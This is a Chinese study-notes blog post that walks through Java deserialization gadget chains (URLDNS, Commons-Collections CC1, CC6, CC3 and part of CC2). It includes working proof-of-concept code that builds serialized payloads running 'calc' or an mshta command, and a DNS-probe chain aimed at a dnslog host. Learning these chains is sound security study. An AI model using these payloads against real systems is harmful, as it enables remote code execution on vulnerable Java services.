Skip to content

JavaSec 入门-03-CC&CB链

约 8774 字大约 29 分钟

Java

2024-12-03

前言

这几条链子当时每天看,为什么忘得这么快=_=,再看着白日梦组长的视频学一学好了

每日一篇总结,力争一周复健 Java,当然这篇得分几天写,还是得复习复习考试。

URLDNS

作为反序列化入门的链子,本来很简单,但是我太笨了理解得很慢

如果服务器上存在一个反序列化的点/漏洞, 我们把URLDNS的序列化数据传进去, 我们就会收到一个DNSLOG请求, 代表服务器存在反序列化漏洞. 而因为URLDNS不受JDK版本限制, 所以这里使用URLDNS进行检测是特别好的一个选择. 那么我们下面介绍一下 URLDNS 链路的形成。

HashMap重写的 readObject入手

image-20241202215227305

跟进到里面的 hash(),这里的接受一个 Object参数,我们传入一个URL类,也就是HashMap的 key ,

image-20241202215507213

URL类里面恰好有一个同名函数hashCode()

image-20241202215800315

我们这里要让他进入想要的hashCode(),要经过一个判断 hashCode == -1,否则就直接返回

此时,handlerURLStreamHandler 对象(的某个子类对象),继续跟进其 hashCode 方法

image-20241202220434536

继续跟进getHostAddress方法,有一个InetAddress.getByName(host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。

image-20241202220453320

逻辑是这样的,开始试着写一下

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.net.URL;


public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://fpdkn4.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); 
        f.set(url,123); // 设置hashcode的值为-1的其他任何数字
        System.out.println(url.hashCode());
        map.put(url,1); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询
        f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发

		serialize(map);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }
    public static void unserialize(String Filename) throws IOException,ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
    }
}

本来按照逻辑直接让传入的 URL类被反序列化即可,为什么中间多了两个反射修改 key 呢?

原因在于在往 HashMapput值的时候,会对传入的URL类这个参数 key 进行一个 hash(),调用了URL类的hashCode()而此时 hashCode 的值默认为 -1,在序列化时会进到刚刚所分析的过程中去发起一次 DNS 请求,这显然不是我们想要的,所以要先在第一次 put 之前改掉 hashCode,不等于 -1 就行。

image-20241202232520251

但是改完了我们还要在后面的反序列化过程中去触发DNS请求,就再把这个 hashCode改回 -1 就好了。

很难想象这个逻辑为什么会让我这么困扰。

CC1

选择 jdk 版本为 8u65,距离发现已经约 10 年了

org.apache.commons.collections 是 Apache Commons 项目中的一个库,提供了一些额外的集合框架功能和工具。它扩展了 Java 标准库中的集合类(如 java.util 包中的类),并提供了许多有用的类和方法,主要用于处理集合对象(如 List、Map、Set 等)。

这个库的核心功能包括:

  1. 集合工具类:提供了许多有用的方法,用于操作集合,比如判断集合是否为空、克隆集合、查找集合中的元素等。
  2. 集合实现:除了 Java 标准库中提供的集合实现外,commons-collections 还提供了一些扩展集合的实现。例如,Bag(类似于 Map,但键是元素,值是该元素的数量)、BidiMap(支持双向映射的 Map)等。
  3. 装饰器:通过装饰器模式提供对集合对象的增强功能。例如,LazyListLazySet 等可以延迟集合的计算或访问。
  4. 排序器与比较器:提供了额外的排序和比较功能,比如 ComparatorPredicate 工具,支持链式比较。
  5. 集合扩展:如 MultiMapUnmodifiable 集合,允许用户创建线程安全的集合或不可修改的集合。

这个库非常有用,特别是在处理复杂集合操作时,可以避免重新发明轮子,可通过 maven 导入。

Transformer

Transformer是⼀个接口,它只有⼀个待实现的方法。

org.apache.commons.collections.Transformer接口作为入口,接受一个对象作为参数传入,看一下被哪些类实现

image-20241203172105561

InvokerTransformer::transform 危险方法

InvokerTransformer这个类是可以序列化的, 并且重写了transform方法, 该方法的功能为: 接收一个对象 (注: 该对象的类修饰符必须为 public, 否则这里无法调用), 并且调用该对象的任意方法, 传递任意参数.

构造方法就是传入一个方法的参数,一个 Class 类型的数组,表示目标方法的参数类型,一个 Object 类型的数组,表示方法调用时传递的实际参数,最后再通过调用transform()去传入一个想要的对象即可。

image-20241203173739000

image-20241203172605537

调用计算器示例:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // public Process exec(String command)
Object transform = invokerTransformer.transform(runtime); // 弹出计算器

TransformedMap::checkSetValue 链式调用

查看一下谁调用了InvokerTransformer::transform方法

image-20241203175223321

可以看到的是TransformedMap::checkSetValue方法调用了InvokerTransformer::transform方法, 此时我们可以把关注点放在TransformedMap::checkSetValue

TransformedMap构造器的定义为,但是被 protected 修饰,没法直接去实例化一个,好在是有一个 static 的decorate()

可以返回一个实例

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

image-20241203180311504

因为没法直接获取checkSetValue(),就需要反射调用了,调用计算器示例:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(new HashMap(), null, invokerTransformer);
Method checkSetValue = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime);

AbstractInputCheckedMapDecorator::setValue 链式调用

image-20241203184300035

可以看到AbstractInputCheckedMapDecorator这个类调用了parent.checkSetValue方法, 那么我们看一下AbstractInputCheckedMapDecorator这个抽象类,并且提供了entrySet方法, 也就是说, 这个类是Map中的键值对, 那么谁实现了这个类呢?答案还是我们刚才的TransformedMap

该类其中的MapEntry类继承了AbstractMapEntryDecorator类, 而AbstractMapEntryDecorator类实则上也是实现了Map.Entry所以我们可以通过遍历元素去调用setValue方法进行传递我们的Runtime对象,

然后setValue调用checkSetValue,checkSetValue调用transform

Runtime runtime = Runtime.getRuntime(); // runtime 对象
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("a", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Set<Map.Entry> set = transformedMap.entrySet();
for (Map.Entry entry : set) {
	entry.setValue(runtime); // 循环调用 setValue
	}

AnnotationInvocationHandler::readObject 入口方法

找到调用setValue方法的地方,最终在AnnotationInvocationHandler::readObject中成功发现了调用setValue方法的代码块, 而readObject方法又是我们反序列化漏洞的入口, 所以我们要重点分析一下readObject方法,AnnotationInvocationHandler::readObject关键部位如下:

class AnnotationInvocationHandler implements InvocationHandler, Serializable { // 支持序列化
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    
	AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) 	{
        this.type = type; // 需要转入注解
        this.memberValues = memberValues; // 传入 Map 类型
    }
    
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

AnnotationType.getInstance方法用于获得一个注解, 下面的annotationType.memberTypes()用来返回注解的属性, 所以这里我们必须传入一个属性不为空的注解过去才行,这里我们可以选择使用@Retention,Retention注解定义如下:

public @interface Retention {
    RetentionPolicy value(); // 只有一个 value
}

但是memberValue.setValue()里面的参数不可控,就需要其他方法来辅助

ConstantTransformer::transform 返回任意值

发现ConstantTransformer类, 这个类定义的transform方法不管传入什么内容, 都会返回自定义任意值的一个方法

ChainedTransformer::transform 递归调用

ChainedTransformer这个类的transform方法, 会将上一次transform方法调用的结果, 当下一次的参数使用, 这里有一个递归调用

根据前两个的研究,我们就可以通过先ConstantTransformerChainedTransformer去调用

还有一个问题是 Runtime类不能被序列化,但是 Class 允许序列化:

ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 的 Class. (Class 对象允许序列化)
InvokerTransformer -> 我调用 Class 的 getMethod 方法, 参数是 getRuntime -> 返回 getRuntime 这个 Method
InvokerTransformer -> 我调用 Method 的 invoke 方法, 参数是 null -> 返回 runtime 对象
InvokerTransformer -> 我调用 runtime 对象的 exec 方法, 参数是 calc

也就是

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};

最后因为AnnotationInvocationHandler类是 Java 的一个私有类,不能直接去实例化,也要反射一下

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationhdl = c.getDeclaredConstructor(Class.class,Map.class);
annotationhdl.setAccessible(true);
Object o = annotationhdl.newInstance(Target.class,transformedmap);

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
//          TransformedMap方法
        map.put("value", "aaa");
        Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);
//
//
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationhdl = c.getDeclaredConstructor(Class.class, Map.class);
        annotationhdl.setAccessible(true);
        Object o = annotationhdl.newInstance(Target.class, transformedmap);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
        oos.writeObject(obj);
    }

    public static void unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
        Object obj = ois.readObject();
    }
}

LazyMap::get 链式调用

在我们之前寻找InvokerTransformer::transform的被调用地点时,除了TransformeredMap以外还有一个 LazyMap

invoke()get()里面调用了 transform()

image-20241205173030396

然后再到入口的AnnotationInvocationHandler::readObject里面寻找,恰好有一个同名函数get(),构造方法里写明了memberValues其实就是接受一个 Map 对象,但是这里要求是一个无参调用,不然会抛出异常

image-20241205162424197

那么又如何能调用到 AnnotationInvocationHandler::invoke 呢?ysoserial 的作者想到的是利用 Java 的对象代理。

注意到AnnotationInvocationHandler这玩意本来就能作为一个动态代理所需要的,实现了InvocationHandler接口的对象,且有entrySet()方法, 该方法参数为空

我们如果将这个对象用 Proxy 进行代理,那么在 readObject 的时候,就会触发entrySet()方法

就会进入到 AnnotationInvocationHandler::invoke方法中去触发get(),进而触发我们的 LazyMap::get

理清楚这个思路之后,就开始想怎么调用了,对于LazyMap来说,还是像之前分析的一样用decorate()去放到 map 里面

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler对象进行 Proxy :

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class TestCalc{
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
        Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
        Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
        lazyMapProxyObj.isEmpty();
    }
}

最后的POC

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
        Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        AnnotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
        Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
        Object o =  AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMapProxyObj); // 最终生成恶意对象
        serialize(o);
        unserialize();
    }

    public static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("path"));
        oos.writeObject(o);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("path"));
        ois.readObject();
    }

前面我们详细分析了LazyMap的作用并构造了POC,但是和上一篇文章中说过的那样,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。LazyMap的漏洞触发在 get 和 invoke 中,完全没有 setValue 什么事,这也说明8u71后不能利用的原因和 AnnotationInvocationHandler##readObject 中有没有 setValue 没任何关系。

CC6

由于上述的链路依赖于AnnotationInvocationHandler, 而这个类在JDK1.8后续版本修复了该链路, 修复了同名方法的调用,我们就得重新思考get该如何调用了,后续那些调用transform()是不变的。

找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,关键方法在于getValue()hashCode()

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {

    /** Serialization version */    
    private static final long serialVersionUID = -8453869361373831205L;
    /** The map underlying the entry/iterator */    
    private final Map map;
    /** The key */
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
    public Object getValue() {
        return map.get(key);
    }
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }
}

看到熟悉的hashCode(),自然想到之前的 URLDNS 链子,那我们是不是在HashMapreadObject里面去把那个 key 换成TiedMapEntry对象就可以了呢,但是还是那个问题,在put的时候会调用一次 hashCode,所以我们在构造时仍然需要一个反射的一个操作. 我们put时, 放入正常的对象, 不让他走到最终的链路, 而put完之后通过反射再将恶意对象放回来, 即可避免我们生成二进制文件时就直接走到了链路尽头, 从而造成了一系列非预期的问题。

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {
        Transformer[] transformerChain = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
                        new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
        HashMap<Object, Object> map = new HashMap<>();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "aniale"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
        HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
        hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
        Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
        lazyMapDst.setAccessible(true);
        lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
        serialize(hsMap);
        unserialize(); // 运行弹出计算器
    }

相比其他 POC 中的 remove key 的操作,这个似乎没有去做,这个就是反射修改的不同层面的对象了,上面的 POC 是去换一个 TiedMapEntryMap,而其他的那些是去换一个 LazyMapTransformer

另一种POC

    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{" mshta vbscript:msgbox(\"恭喜你成功完成CC6!\",64,\"Congratulations!\")(window.close)"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"bbb");
        map.remove("aaa");
        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);
        serialize(hashMap);
        unserialize("ser.bin");

原因在于第一个 POC 他在创建TiedMapEntry时使用了HashMap而不是LazyMap,这就避免了LazyMap里面对于key是否为空的检查,自然也就用不到去remove key

image-20241205173030396

CC3

相较于之前调用transform的方法,这条链子我们选择通过恶意类加载去实现,也就是defineClass,在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplatesImpl 的基石。

利用TemplatesImpl加载字节码

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类定义了一个内部类TransletClassLoader

	static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java 中默认情况下,如果一个方法没有显式声明作用域,其作用域为 default 。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个 default 类型的方法,可以被类外部调用。

找一下哪里调用了 defineClassTemplatesImpl.defineTransletClasses里调用了

image-20241206153206149

_bytecodes可控,继续找哪个位置调用了defineTransletClasses

只有一个getTransletInstance里面有 newInstance()符合要求

image-20241206174747372

继续找哪里调用getTransletInstance,在newTransformer()找到一个

image-20241206175121722

那我们就去实例化一个TemplatesImpl对象,然后调用newTransformer方法,这样就可以加载恶意类:

其中,setFieldValue 方法用来设置私有属性,可见,这里我设置了两个属性:_bytecodes_name_bytecodes 是由字节码组成的数组;_name可以是任意字符串,只要不为 null 即可;

image-20241206180459641

另外,值得注意的是,TemplatesImpl中对加载的字节码是有一定要求的:

这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类。

原因是superClass.getName()去找父类,找不到对应的AbstractTranslet就会导致_auxClasses值为默认的-1

image-20241206180717794

就会抛出下面的异常

image-20241206184258722

初步的调用 POC 如下,但是需要注意的是这里我们并没有去像其他 POC 修改_tfactory,所以这里直接运行是触发不了计算器的,原因在于TemplatesImplreadObject_tfactory赋值了,所以不会为空

image-20241206185949982

TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates,"aaaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
byte[][] codes = {code};
    bytecodesField.set(templates,codes);
Transformer transformer = templates.newTransformer();

接下来该想办法把他和 CC1 或者 CC6 结合了,我们现在就是拿到了一个等价的执行命令的transformer

与 CC1 结合

	TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaaa");
    Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

    byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
    byte[][] codes = {code};
        bytecodesField.set(templates, codes);
    //        Transformer transformer = templates.newTransformer();
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    //CC1后半
    HashMap<Object, Object> map = new HashMap<>();
    Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
    Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationconstructor = c2.getDeclaredConstructor(Class.class, Map.class);
        annotationconstructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) annotationconstructor.newInstance(Override.class, lazymap);
    //生成动态代理
    Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
    //生成最外层
    Object o = annotationconstructor.newInstance(Override.class, mapproxy);

    serialize(o);
    unserialize();

与 CC6 结合

	TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaaa");
    Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

    byte[] code = Files.readAllBytes(Paths.get("D://Java//Classes/Test.class"));
    byte[][] codes = {code};
        bytecodesField.set(templates, codes);
    //        Transformer transformer = templates.newTransformer();
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    //CC6后半
    HashMap<Object, Object> map = new HashMap<>();
    LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "aniale"); 
    HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
        hsMap.put(tiedMapEntry, null); 
    Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); 
        lazyMapDst.setAccessible(true);
        lazyMapDst.set(tiedMapEntry, lazyMap);

    serialize(lazyMap);
    unserialize();

TrAXFilter::带参构造

前面我们使用的是InvokerTransformer::transform方法调用到了我们的TemplatesImpl::newTransformer, 那么我们在这里可以查看一下,TemplatesImpl::newTransformer被谁调用了

发现是TrAXFilter里面调用的

image-20241206191744069

但是这个类是不能被序列化的,这就又想到了之前在调用Runtime类的时候了,那么这里有没有一个类允许传递过来Class从而对其实例化操作呢,发现存在一个InstantiateTransformer::transform,作用就是返回一个类的构造器去newInstance,恰好满足我们的需求

image-20241206191939556

仿照着写一下,只需要修改中间关于如何调用 newTransformer()即可

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

CC2

CC4/jdk>= jdk1.8.0_131

TransformingComparator::compare 链式调用

在CC4中,TransformingComparator允许序列化操作, 但CC3中不允许, 它的类定义如下:

public class TransformingComparator<I, O> implements Comparator<I>, Serializable { // 注意实现了 Comparator, 并且CC4支持序列化
    private final Transformer<? super I, ? extends O> transformer; // transformer 是 Transformer 类型

    public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                  final Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1); // 存在 transform 方法调用
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2); // decorated 也不能设置为空, 否则在我们序列化时, 前面的调用者调用到这里的话, 会抛出空指针异常. 
        /*
        	decorated 可以选择 NullComparator, NullComparator 可序列化, 它的 compare 方法定义如下:
            public int compare(final E o1, final E o2) {
                if(o1 == o2) { return 0; }
                if(o1 == null) { return this.nullsAreHigh ? 1 : -1; }
                if(o2 == null) { return this.nullsAreHigh ? -1 : 1; }
                return this.nonNullComparator.compare(o1, o2);
            }
        */
    }
}

寻找哪里调用了compare()

PriorityQueue::readObject 入口点 & PriorityQueue::siftDownUsingComparator 链式调用

最终在PriorityQueue::siftDownUsingComparator方法中找到了compare方法调用, 这里PriorityQueue类是一个队列类, 该类同样实现了Serializable接口, 同样也是可序列化的, 代码定义如下:

image-20241206225215073

通过readObject中的heapify()->siftDown()->siftDownUsingComparator()

image-20241206225346472

我们这里注意heapify方法中的for循环判断,size变量最少为2时, 向右移一位才可以正常进入for循环, 如图

image-20241206225646929

